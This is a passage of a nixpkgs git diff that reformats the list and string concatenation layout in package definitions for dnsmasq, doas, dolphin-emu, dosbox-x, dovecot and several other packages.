+    mkdir -p $out/share/dbus-1/system-services
+    cat <<END > $out/share/dbus-1/system-services/uk.org.thekelleys.dnsmasq.service
+    [D-BUS Service]
+    Name=uk.org.thekelleys.dnsmasq
+    Exec=$out/bin/dnsmasq -k -1
+    User=root
+    SystemdService=dnsmasq.service
+    END
+  '';
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      nettle
-      libidn
-    ]
-    ++ lib.optionals dbusSupport [ dbus ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libnetfilter_conntrack
-      nftables
-    ];
+  buildInputs = [
+    nettle
+    libidn
+  ]
+  ++ lib.optionals dbusSupport [ dbus ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libnetfilter_conntrack
+    nftables
+  ];
 
   passthru.tests = {
     prometheus-exporter = nixosTests.prometheus-exporters.dnsmasq;
diff --git a/pkgs/by-name/do/doas/package.nix b/pkgs/by-name/do/doas/package.nix
index 7da262cacbae..26306f990c5f 100644
--- a/pkgs/by-name/do/doas/package.nix
+++ b/pkgs/by-name/do/doas/package.nix
@@ -39,13 +39,12 @@ stdenv.mkDerivation rec {
   # ./configure script does not understand `--disable-shared`
   dontAddStaticConfigureFlags = true;
 
-  postPatch =
-    ''
-      sed -i '/\(chown\|chmod\)/d' GNUmakefile
-    ''
-    + lib.optionalString (withPAM && stdenv.hostPlatform.isStatic) ''
-      sed -i 's/-lpam/-lpam -laudit/' configure
-    '';
+  postPatch = ''
+    sed -i '/\(chown\|chmod\)/d' GNUmakefile
+  ''
+  + lib.optionalString (withPAM && stdenv.hostPlatform.isStatic) ''
+    sed -i 's/-lpam/-lpam -laudit/' configure
+  '';
 
   nativeBuildInputs = [ bison ];
   buildInputs = [ ] ++ lib.optional withPAM pam ++ lib.optional (!withPAM) libxcrypt;
diff --git a/pkgs/by-name/do/docbook2x/package.nix b/pkgs/by-name/do/docbook2x/package.nix
index e266b8835ee1..3153b156becf 100644
--- a/pkgs/by-name/do/docbook2x/package.nix
+++ b/pkgs/by-name/do/docbook2x/package.nix
@@ -37,20 +37,19 @@ stdenv.mkDerivation rec {
     libxslt
     iconv
   ];
-  buildInputs =
-    [
-      groff
-      libxml2
-      opensp
-      libiconv
-      bash
-    ]
-    ++ (with perlPackages; [
-      perl
-      XMLSAX
-      XMLParser
-      XMLNamespaceSupport
-    ]);
+  buildInputs = [
+    groff
+    libxml2
+    opensp
+    libiconv
+    bash
+  ]
+  ++ (with perlPackages; [
+    perl
+    XMLSAX
+    XMLParser
+    XMLNamespaceSupport
+  ]);
 
   postConfigure = ''
     # Broken substitution is used for `perl/config.pl', which leaves literal
diff --git a/pkgs/by-name/do/dogdns/package.nix b/pkgs/by-name/do/dogdns/package.nix
index 58775dde22a4..5e6cbf077397 100644
--- a/pkgs/by-name/do/dogdns/package.nix
+++ b/pkgs/by-name/do/dogdns/package.nix
@@ -31,7 +31,8 @@ rustPlatform.buildRustPackage {
     installShellFiles
     just
     pandoc
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [ openssl ];
 
   outputs = [
diff --git a/pkgs/by-name/do/dogedns/package.nix b/pkgs/by-name/do/dogedns/package.nix
index 23f798d7061a..a8ec3cd67c82 100644
--- a/pkgs/by-name/do/dogedns/package.nix
+++ b/pkgs/by-name/do/dogedns/package.nix
@@ -43,7 +43,8 @@ rustPlatform.buildRustPackage rec {
   nativeBuildInputs = [
     installShellFiles
     pandoc
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [ openssl ];
 
   postInstall = ''
diff --git a/pkgs/by-name/do/dokuwiki/package.nix b/pkgs/by-name/do/dokuwiki/package.nix
index 2cca5f6d0852..50ddcfb86bb3 100644
--- a/pkgs/by-name/do/dokuwiki/package.nix
+++ b/pkgs/by-name/do/dokuwiki/package.nix
@@ -80,19 +80,17 @@ stdenv.mkDerivation rec {
       basePackage.overrideAttrs (prev: {
         pname = if builtins.isFunction pname then pname prev else pname;
 
-        postInstall =
-          prev.postInstall or ""
-          + ''
-            ${lib.concatMapStringsSep "\n" (
-              tpl: "cp -r ${toString tpl} $out/share/dokuwiki/lib/tpl/${tpl.name}"
-            ) templates}
-            ${lib.concatMapStringsSep "\n" (
-              plugin: "cp -r ${toString plugin} $out/share/dokuwiki/lib/plugins/${plugin.name}"
-            ) plugins}
-            ${isNotEmpty localConfig "ln -sf ${localConfig} $out/share/dokuwiki/conf/local.php"}
-            ${isNotEmpty pluginsConfig "ln -sf ${pluginsConfig} $out/share/dokuwiki/conf/plugins.local.php"}
-            ${isNotEmpty aclConfig "ln -sf ${aclConfig} $out/share/dokuwiki/acl.auth.php"}
-          '';
+        postInstall = prev.postInstall or "" + ''
+          ${lib.concatMapStringsSep "\n" (
+            tpl: "cp -r ${toString tpl} $out/share/dokuwiki/lib/tpl/${tpl.name}"
+          ) templates}
+          ${lib.concatMapStringsSep "\n" (
+            plugin: "cp -r ${toString plugin} $out/share/dokuwiki/lib/plugins/${plugin.name}"
+          ) plugins}
+          ${isNotEmpty localConfig "ln -sf ${localConfig} $out/share/dokuwiki/conf/local.php"}
+          ${isNotEmpty pluginsConfig "ln -sf ${pluginsConfig} $out/share/dokuwiki/conf/plugins.local.php"}
+          ${isNotEmpty aclConfig "ln -sf ${aclConfig} $out/share/dokuwiki/acl.auth.php"}
+        '';
       });
     tests = {
       inherit (nixosTests) dokuwiki;
diff --git a/pkgs/by-name/do/dolfinx/package.nix b/pkgs/by-name/do/dolfinx/package.nix
index db7d0659601f..383b7132bb81 100644
--- a/pkgs/by-name/do/dolfinx/package.nix
+++ b/pkgs/by-name/do/dolfinx/package.nix
@@ -47,7 +47,8 @@ stdenv.mkDerivation (finalAttrs: {
   buildInputs = [
     dolfinxPackages.kahip
     dolfinxPackages.scotch
-  ] ++ lib.optional withParmetis dolfinxPackages.parmetis;
+  ]
+  ++ lib.optional withParmetis dolfinxPackages.parmetis;
 
   propagatedBuildInputs = [
     spdlog
diff --git a/pkgs/by-name/do/dolphin-emu-primehack/package.nix b/pkgs/by-name/do/dolphin-emu-primehack/package.nix
index cddbe407e301..b530f300ea7a 100644
--- a/pkgs/by-name/do/dolphin-emu-primehack/package.nix
+++ b/pkgs/by-name/do/dolphin-emu-primehack/package.nix
@@ -62,66 +62,63 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-vuTSXQHnR4HxAGGiPg5tUzfiXROU3+E9kyjH+T6zVmc=";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      cmake
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qt6.wrapQtAppsHook
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    cmake
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qt6.wrapQtAppsHook
+  ];
 
-  buildInputs =
-    [
-      curl
-      enet
-      ffmpeg
-      fmt
-      gettext
-      libGL
-      libGLU
-      libSM
-      libXdmcp
-      libXext
-      libXinerama
-      libXrandr
-      libXxf86vm
-      libao
-      libpthreadstubs
-      libpulseaudio
-      libusb1
-      mbedtls_2
-      miniupnpc
-      openal
-      pcre
-      portaudio
-      qt6.qtbase
-      qt6.qtsvg
-      readline
-      sfml
-      soundtouch
-      xz
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      bluez
-      libevdev
-      udev
-      vulkan-loader
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      hidapi
-      libpng
-    ];
+  buildInputs = [
+    curl
+    enet
+    ffmpeg
+    fmt
+    gettext
+    libGL
+    libGLU
+    libSM
+    libXdmcp
+    libXext
+    libXinerama
+    libXrandr
+    libXxf86vm
+    libao
+    libpthreadstubs
+    libpulseaudio
+    libusb1
+    mbedtls_2
+    miniupnpc
+    openal
+    pcre
+    portaudio
+    qt6.qtbase
+    qt6.qtsvg
+    readline
+    sfml
+    soundtouch
+    xz
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    bluez
+    libevdev
+    udev
+    vulkan-loader
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    hidapi
+    libpng
+  ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "USE_SHARED_ENET" true)
-      (lib.cmakeBool "ENABLE_LTO" true)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (lib.cmakeBool "OSX_USE_DEFAULT_SEARCH_PATH" true)
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "USE_SHARED_ENET" true)
+    (lib.cmakeBool "ENABLE_LTO" true)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (lib.cmakeBool "OSX_USE_DEFAULT_SEARCH_PATH" true)
+  ];
 
   qtWrapperArgs = lib.optionals stdenv.hostPlatform.isLinux [
     "--prefix LD_LIBRARY_PATH : ${vulkan-loader}/lib"
@@ -131,30 +128,28 @@ stdenv.mkDerivation (finalAttrs: {
   ];
 
   # - Allow Dolphin to use nix-provided libraries instead of building them
-  postPatch =
-    ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'DISTRIBUTOR "None"' 'DISTRIBUTOR "NixOS"'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'if(NOT APPLE)' 'if(true)' \
-        --replace-fail 'if(LIBUSB_FOUND AND NOT APPLE)' 'if(LIBUSB_FOUND)'
-    '';
+  postPatch = ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'DISTRIBUTOR "None"' 'DISTRIBUTOR "NixOS"'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'if(NOT APPLE)' 'if(true)' \
+      --replace-fail 'if(LIBUSB_FOUND AND NOT APPLE)' 'if(LIBUSB_FOUND)'
+  '';
 
-  postInstall =
-    ''
-      mv $out/bin/dolphin-emu $out/bin/dolphin-emu-primehack
-      mv $out/bin/dolphin-emu-nogui $out/bin/dolphin-emu-primehack-nogui
-      mv $out/share/applications/dolphin-emu.desktop $out/share/applications/dolphin-emu-primehack.desktop
-      mv $out/share/icons/hicolor/256x256/apps/dolphin-emu.png $out/share/icons/hicolor/256x256/apps/dolphin-emu-primehack.png
-      substituteInPlace $out/share/applications/dolphin-emu-primehack.desktop \
-        --replace-fail 'dolphin-emu' 'dolphin-emu-primehack' \
-        --replace-fail 'Dolphin Emulator' 'PrimeHack'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      install -D $src/Data/51-usb-device.rules $out/etc/udev/rules.d/51-usb-device.rules
-    '';
+  postInstall = ''
+    mv $out/bin/dolphin-emu $out/bin/dolphin-emu-primehack
+    mv $out/bin/dolphin-emu-nogui $out/bin/dolphin-emu-primehack-nogui
+    mv $out/share/applications/dolphin-emu.desktop $out/share/applications/dolphin-emu-primehack.desktop
+    mv $out/share/icons/hicolor/256x256/apps/dolphin-emu.png $out/share/icons/hicolor/256x256/apps/dolphin-emu-primehack.png
+    substituteInPlace $out/share/applications/dolphin-emu-primehack.desktop \
+      --replace-fail 'dolphin-emu' 'dolphin-emu-primehack' \
+      --replace-fail 'Dolphin Emulator' 'PrimeHack'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    install -D $src/Data/51-usb-device.rules $out/etc/udev/rules.d/51-usb-device.rules
+  '';
 
   passthru = {
     tests = {
diff --git a/pkgs/by-name/do/dolphin-emu/package.nix b/pkgs/by-name/do/dolphin-emu/package.nix
index 79e343544514..c58dada8f9e6 100644
--- a/pkgs/by-name/do/dolphin-emu/package.nix
+++ b/pkgs/by-name/do/dolphin-emu/package.nix
@@ -72,78 +72,75 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-      qt6.wrapQtAppsHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      xcbuild # for plutil
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    qt6.wrapQtAppsHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    xcbuild # for plutil
+  ];
 
-  buildInputs =
-    [
-      bzip2
-      cubeb
-      curl
-      enet
-      ffmpeg
-      fmt_10
-      gtest
-      hidapi
-      libXdmcp
-      libpulseaudio
-      libspng
-      libusb1
-      lz4
-      lzo
-      mbedtls_2
-      miniupnpc
-      minizip-ng
-      openal
-      pugixml
-      qt6.qtbase
-      qt6.qtsvg
-      SDL2
-      sfml
-      xxHash
-      xz
-      # Causes linker errors with minizip-ng, prefer vendored. Possible reason why: https://github.com/dolphin-emu/dolphin/pull/12070#issuecomment-1677311838
-      #zlib-ng
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      bluez
-      libGL
-      libXext
-      libXrandr
-      libevdev
-      # FIXME: Vendored version is newer than mgba's stable release, remove the comment on next mgba's version
-      #mgba # Derivation doesn't support Darwin
-      udev
-      vulkan-loader
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      moltenvk
-    ];
+  buildInputs = [
+    bzip2
+    cubeb
+    curl
+    enet
+    ffmpeg
+    fmt_10
+    gtest
+    hidapi
+    libXdmcp
+    libpulseaudio
+    libspng
+    libusb1
+    lz4
+    lzo
+    mbedtls_2
+    miniupnpc
+    minizip-ng
+    openal
+    pugixml
+    qt6.qtbase
+    qt6.qtsvg
+    SDL2
+    sfml
+    xxHash
+    xz
+    # Causes linker errors with minizip-ng, prefer vendored. Possible reason why: https://github.com/dolphin-emu/dolphin/pull/12070#issuecomment-1677311838
+    #zlib-ng
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    bluez
+    libGL
+    libXext
+    libXrandr
+    libevdev
+    # FIXME: Vendored version is newer than mgba's stable release, remove the comment on next mgba's version
+    #mgba # Derivation doesn't support Darwin
+    udev
+    vulkan-loader
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    moltenvk
+  ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeFeature "DISTRIBUTOR" "NixOS")
-      (lib.cmakeFeature "DOLPHIN_WC_DESCRIBE" finalAttrs.version)
-      (lib.cmakeFeature "DOLPHIN_WC_BRANCH" "master")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (lib.cmakeBool "OSX_USE_DEFAULT_SEARCH_PATH" true)
-      (lib.cmakeBool "USE_BUNDLED_MOLTENVK" false)
-      (lib.cmakeBool "MACOS_CODE_SIGNING" false)
-      # Bundles the application folder into a standalone executable, so we cannot devendor libraries
-      (lib.cmakeBool "SKIP_POSTPROCESS_BUNDLE" true)
-      # Needs xcode so compilation fails with it enabled. We would want the version to be fixed anyways.
-      # Note: The updater isn't available on linux, so we don't need to disable it there.
-      (lib.cmakeBool "ENABLE_AUTOUPDATE" false)
-    ];
+  cmakeFlags = [
+    (lib.cmakeFeature "DISTRIBUTOR" "NixOS")
+    (lib.cmakeFeature "DOLPHIN_WC_DESCRIBE" finalAttrs.version)
+    (lib.cmakeFeature "DOLPHIN_WC_BRANCH" "master")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (lib.cmakeBool "OSX_USE_DEFAULT_SEARCH_PATH" true)
+    (lib.cmakeBool "USE_BUNDLED_MOLTENVK" false)
+    (lib.cmakeBool "MACOS_CODE_SIGNING" false)
+    # Bundles the application folder into a standalone executable, so we cannot devendor libraries
+    (lib.cmakeBool "SKIP_POSTPROCESS_BUNDLE" true)
+    # Needs xcode so compilation fails with it enabled. We would want the version to be fixed anyways.
+    # Note: The updater isn't available on linux, so we don't need to disable it there.
+    (lib.cmakeBool "ENABLE_AUTOUPDATE" false)
+  ];
   preConfigure = ''
     appendToVar cmakeFlags "-DDOLPHIN_WC_REVISION=$(cat COMMIT)"
     rm COMMIT
diff --git a/pkgs/by-name/do/doppler/package.nix b/pkgs/by-name/do/doppler/package.nix
index 8cfbfa9aeac1..ba008b2a98d5 100644
--- a/pkgs/by-name/do/doppler/package.nix
+++ b/pkgs/by-name/do/doppler/package.nix
@@ -28,18 +28,17 @@ buildGoModule rec {
 
   nativeBuildInputs = [ installShellFiles ];
 
-  postInstall =
-    ''
-      mv $out/bin/cli $out/bin/doppler
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      export HOME=$TMPDIR
-      mkdir $HOME/.doppler # to avoid race conditions below
-      installShellCompletion --cmd doppler \
-        --bash <($out/bin/doppler completion bash) \
-        --fish <($out/bin/doppler completion fish) \
-        --zsh <($out/bin/doppler completion zsh)
-    '';
+  postInstall = ''
+    mv $out/bin/cli $out/bin/doppler
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    export HOME=$TMPDIR
+    mkdir $HOME/.doppler # to avoid race conditions below
+    installShellCompletion --cmd doppler \
+      --bash <($out/bin/doppler completion bash) \
+      --fish <($out/bin/doppler completion fish) \
+      --zsh <($out/bin/doppler completion zsh)
+  '';
 
   passthru.tests.version = testers.testVersion {
     package = doppler;
diff --git a/pkgs/by-name/do/dosbox-staging/package.nix b/pkgs/by-name/do/dosbox-staging/package.nix
index 7aeeb8215cc3..c50104f7dca5 100644
--- a/pkgs/by-name/do/dosbox-staging/package.nix
+++ b/pkgs/by-name/do/dosbox-staging/package.nix
@@ -67,7 +67,8 @@ stdenv.mkDerivation (finalAttrs: {
     opusfile
     speexdsp
     zlib-ng
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ alsa-lib ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ alsa-lib ];
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/do/dosbox-x/package.nix b/pkgs/by-name/do/dosbox-x/package.nix
index 46e0477866c4..2f9ef0c9f061 100644
--- a/pkgs/by-name/do/dosbox-x/package.nix
+++ b/pkgs/by-name/do/dosbox-x/package.nix
@@ -40,50 +40,47 @@ stdenv.mkDerivation (finalAttrs: {
   # iconutil is unavailable, replace with png2icns from libicns
   # Patch bad hardcoded compiler
   # Don't mess with codesign, doesn't seem to work?
-  postPatch =
-    ''
-      substituteInPlace Makefile.am \
-        --replace-fail 'sips' '## sips' \
-        --replace-fail 'iconutil -c icns -o contrib/macos/dosbox.icns src/dosbox.iconset' 'png2icns contrib/macos/dosbox.icns contrib/macos/dosbox-x.png' \
-        --replace-fail 'g++' "$CXX" \
-        --replace-fail 'codesign' '## codesign'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      patchShebangs appbundledeps.py
-    '';
+  postPatch = ''
+    substituteInPlace Makefile.am \
+      --replace-fail 'sips' '## sips' \
+      --replace-fail 'iconutil -c icns -o contrib/macos/dosbox.icns src/dosbox.iconset' 'png2icns contrib/macos/dosbox.icns contrib/macos/dosbox-x.png' \
+      --replace-fail 'g++' "$CXX" \
+      --replace-fail 'codesign' '## codesign'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    patchShebangs appbundledeps.py
+  '';
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      makeWrapper
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libicns
-      python3
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    makeWrapper
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libicns
+    python3
+  ];
 
-  buildInputs =
-    [
-      ffmpeg
-      fluidsynth
-      freetype
-      glib
-      libpcap
-      libpng
-      libslirp
-      ncurses
-      SDL2
-      SDL2_net
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      libxkbfile
-      libXrandr
-    ];
+  buildInputs = [
+    ffmpeg
+    fluidsynth
+    freetype
+    glib
+    libpcap
+    libpng
+    libslirp
+    ncurses
+    SDL2
+    SDL2_net
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    libxkbfile
+    libXrandr
+  ];
 
   # Tests for SDL_net.h for modem & IPX support, not automatically picked up due to being in SDL2 subdirectory
   env.NIX_CFLAGS_COMPILE = "-I${lib.getDev SDL2_net}/include/SDL2";
diff --git a/pkgs/by-name/do/dosfstools/package.nix b/pkgs/by-name/do/dosfstools/package.nix
index 9446485273d3..14faa8d64b60 100644
--- a/pkgs/by-name/do/dosfstools/package.nix
+++ b/pkgs/by-name/do/dosfstools/package.nix
@@ -44,7 +44,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     autoreconfHook
     pkg-config
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
 
   # configure.ac:75: error: required file './config.rpath' not found
   # https://github.com/dosfstools/dosfstools/blob/master/autogen.sh
diff --git a/pkgs/by-name/do/dovecot/package.nix b/pkgs/by-name/do/dovecot/package.nix
index 22c6290c923a..43773164c394 100644
--- a/pkgs/by-name/do/dovecot/package.nix
+++ b/pkgs/by-name/do/dovecot/package.nix
@@ -53,37 +53,37 @@ stdenv.mkDerivation rec {
     bison
     perl
     pkg-config
-  ] ++ lib.optionals (stdenv.hostPlatform.isLinux && !stdenv.hostPlatform.isDarwin) [ rpcsvc-proto ];
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && !stdenv.hostPlatform.isDarwin) [ rpcsvc-proto ];
 
-  buildInputs =
-    [
-      openssl
-      bzip2
-      lz4
-      zlib
-      zstd
-      xz
-      clucene_core_2
-      icu75
-      libexttextcat
-      libsodium
-      libstemmer
-      cyrus_sasl.dev
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux) [
-      systemd
-      pam
-      libcap
-      inotify-tools
-    ]
-    ++ lib.optional (stdenv.hostPlatform.isLinux && !stdenv.hostPlatform.isDarwin) libtirpc
-    ++ lib.optional withApparmor libapparmor
-    ++ lib.optional withLDAP openldap
-    ++ lib.optional withUnwind libunwind
-    ++ lib.optional withMySQL libmysqlclient
-    ++ lib.optional withPgSQL libpq
-    ++ lib.optional withSQLite sqlite
-    ++ lib.optional withLua lua5_3;
+  buildInputs = [
+    openssl
+    bzip2
+    lz4
+    zlib
+    zstd
+    xz
+    clucene_core_2
+    icu75
+    libexttextcat
+    libsodium
+    libstemmer
+    cyrus_sasl.dev
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [
+    systemd
+    pam
+    libcap
+    inotify-tools
+  ]
+  ++ lib.optional (stdenv.hostPlatform.isLinux && !stdenv.hostPlatform.isDarwin) libtirpc
+  ++ lib.optional withApparmor libapparmor
+  ++ lib.optional withLDAP openldap
+  ++ lib.optional withUnwind libunwind
+  ++ lib.optional withMySQL libmysqlclient
+  ++ lib.optional withPgSQL libpq
+  ++ lib.optional withSQLite sqlite
+  ++ lib.optional withLua lua5_3;
 
   src = fetchurl {
     url = "https://dovecot.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.gz";
@@ -92,25 +92,24 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  postPatch =
-    ''
-      sed -i -E \
-        -e 's!/bin/sh\b!${stdenv.shell}!g' \
-        -e 's!([^[:alnum:]/_-])/bin/([[:alnum:]]+)\b!\1${coreutils}/bin/\2!g' \
-        -e 's!([^[:alnum:]/_-])(head|sleep|cat)\b!\1${coreutils}/bin/\2!g' \
-        src/lib-program-client/test-program-client-local.c
+  postPatch = ''
+    sed -i -E \
+      -e 's!/bin/sh\b!${stdenv.shell}!g' \
+      -e 's!([^[:alnum:]/_-])/bin/([[:alnum:]]+)\b!\1${coreutils}/bin/\2!g' \
+      -e 's!([^[:alnum:]/_-])(head|sleep|cat)\b!\1${coreutils}/bin/\2!g' \
+      src/lib-program-client/test-program-client-local.c
 
-      patchShebangs src/lib-smtp/test-bin/*.sh
-      sed -i -s -E 's!\bcat\b!${coreutils}/bin/cat!g' src/lib-smtp/test-bin/*.sh
+    patchShebangs src/lib-smtp/test-bin/*.sh
+    sed -i -s -E 's!\bcat\b!${coreutils}/bin/cat!g' src/lib-smtp/test-bin/*.sh
 
-      patchShebangs src/config/settings-get.pl
+    patchShebangs src/config/settings-get.pl
 
-      # DES-encrypted passwords are not supported by NixPkgs anymore
-      sed '/test_password_scheme("CRYPT"/d' -i src/auth/test-libpassword.c
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      export systemdsystemunitdir=$out/etc/systemd/system
-    '';
+    # DES-encrypted passwords are not supported by NixPkgs anymore
+    sed '/test_password_scheme("CRYPT"/d' -i src/auth/test-libpassword.c
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    export systemdsystemunitdir=$out/etc/systemd/system
+  '';
 
   # We need this for sysconfdir, see remark below.
   installFlags = [ "DESTDIR=$(out)" ];
@@ -120,60 +119,58 @@ stdenv.mkDerivation rec {
     rm -rf $out/$(echo "$out" | cut -d "/" -f2)
   '';
 
-  patches =
-    [
-      # Fix loading extended modules.
-      ./load-extended-modules.patch
-      # fix openssl 3.0 compatibility
-      (fetchpatch {
-        url = "https://salsa.debian.org/debian/dovecot/-/raw/debian/1%252.3.19.1+dfsg1-2/debian/patches/Support-openssl-3.0.patch";
-        hash = "sha256-PbBB1jIY3jIC8Js1NY93zkV0gISGUq7Nc67Ul5tN7sw=";
-      })
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # fix timespec calls
-      ./timespec.patch
-    ];
+  patches = [
+    # Fix loading extended modules.
+    ./load-extended-modules.patch
+    # fix openssl 3.0 compatibility
+    (fetchpatch {
+      url = "https://salsa.debian.org/debian/dovecot/-/raw/debian/1%252.3.19.1+dfsg1-2/debian/patches/Support-openssl-3.0.patch";
+      hash = "sha256-PbBB1jIY3jIC8Js1NY93zkV0gISGUq7Nc67Ul5tN7sw=";
+    })
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # fix timespec calls
+    ./timespec.patch
+  ];
 
-  configureFlags =
-    [
-      # It will hardcode this for /var/lib/dovecot.
-      # http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=626211
-      "--localstatedir=/var"
-      # We need this so utilities default to reading /etc/dovecot/dovecot.conf file.
-      "--sysconfdir=/etc"
-      "--with-moduledir=${placeholder "out"}/lib/dovecot/modules"
-      "--with-ssl=openssl"
-      "--with-zlib"
-      "--with-bzlib"
-      "--with-lz4"
-      "--with-lucene"
-      "--with-icu"
-      "--with-textcat"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "i_cv_epoll_works=${if stdenv.hostPlatform.isLinux then "yes" else "no"}"
-      "i_cv_posix_fallocate_works=${if stdenv.hostPlatform.isDarwin then "no" else "yes"}"
-      "i_cv_inotify_works=${if stdenv.hostPlatform.isLinux then "yes" else "no"}"
-      "i_cv_signed_size_t=no"
-      "i_cv_signed_time_t=yes"
-      "i_cv_c99_vsnprintf=yes"
-      "lib_cv_va_copy=yes"
-      "i_cv_mmap_plays_with_write=yes"
-      "i_cv_gmtime_max_time_t=${toString stdenv.hostPlatform.parsed.cpu.bits}"
-      "i_cv_signed_time_t=yes"
-      "i_cv_fd_passing=yes"
-      "lib_cv_va_copy=yes"
-      "lib_cv___va_copy=yes"
-      "lib_cv_va_val_copy=yes"
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux "--with-systemd"
-    ++ lib.optional stdenv.hostPlatform.isDarwin "--enable-static"
-    ++ lib.optional withLDAP "--with-ldap"
-    ++ lib.optional withLua "--with-lua"
-    ++ lib.optional withMySQL "--with-mysql"
-    ++ lib.optional withPgSQL "--with-pgsql"
-    ++ lib.optional withSQLite "--with-sqlite";
+  configureFlags = [
+    # It will hardcode this for /var/lib/dovecot.
+    # http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=626211
+    "--localstatedir=/var"
+    # We need this so utilities default to reading /etc/dovecot/dovecot.conf file.
+    "--sysconfdir=/etc"
+    "--with-moduledir=${placeholder "out"}/lib/dovecot/modules"
+    "--with-ssl=openssl"
+    "--with-zlib"
+    "--with-bzlib"
+    "--with-lz4"
+    "--with-lucene"
+    "--with-icu"
+    "--with-textcat"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "i_cv_epoll_works=${if stdenv.hostPlatform.isLinux then "yes" else "no"}"
+    "i_cv_posix_fallocate_works=${if stdenv.hostPlatform.isDarwin then "no" else "yes"}"
+    "i_cv_inotify_works=${if stdenv.hostPlatform.isLinux then "yes" else "no"}"
+    "i_cv_signed_size_t=no"
+    "i_cv_signed_time_t=yes"
+    "i_cv_c99_vsnprintf=yes"
+    "lib_cv_va_copy=yes"
+    "i_cv_mmap_plays_with_write=yes"
+    "i_cv_gmtime_max_time_t=${toString stdenv.hostPlatform.parsed.cpu.bits}"
+    "i_cv_signed_time_t=yes"
+    "i_cv_fd_passing=yes"
+    "lib_cv_va_copy=yes"
+    "lib_cv___va_copy=yes"
+    "lib_cv_va_val_copy=yes"
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux "--with-systemd"
+  ++ lib.optional stdenv.hostPlatform.isDarwin "--enable-static"
+  ++ lib.optional withLDAP "--with-ldap"
+  ++ lib.optional withLua "--with-lua"
+  ++ lib.optional withMySQL "--with-mysql"
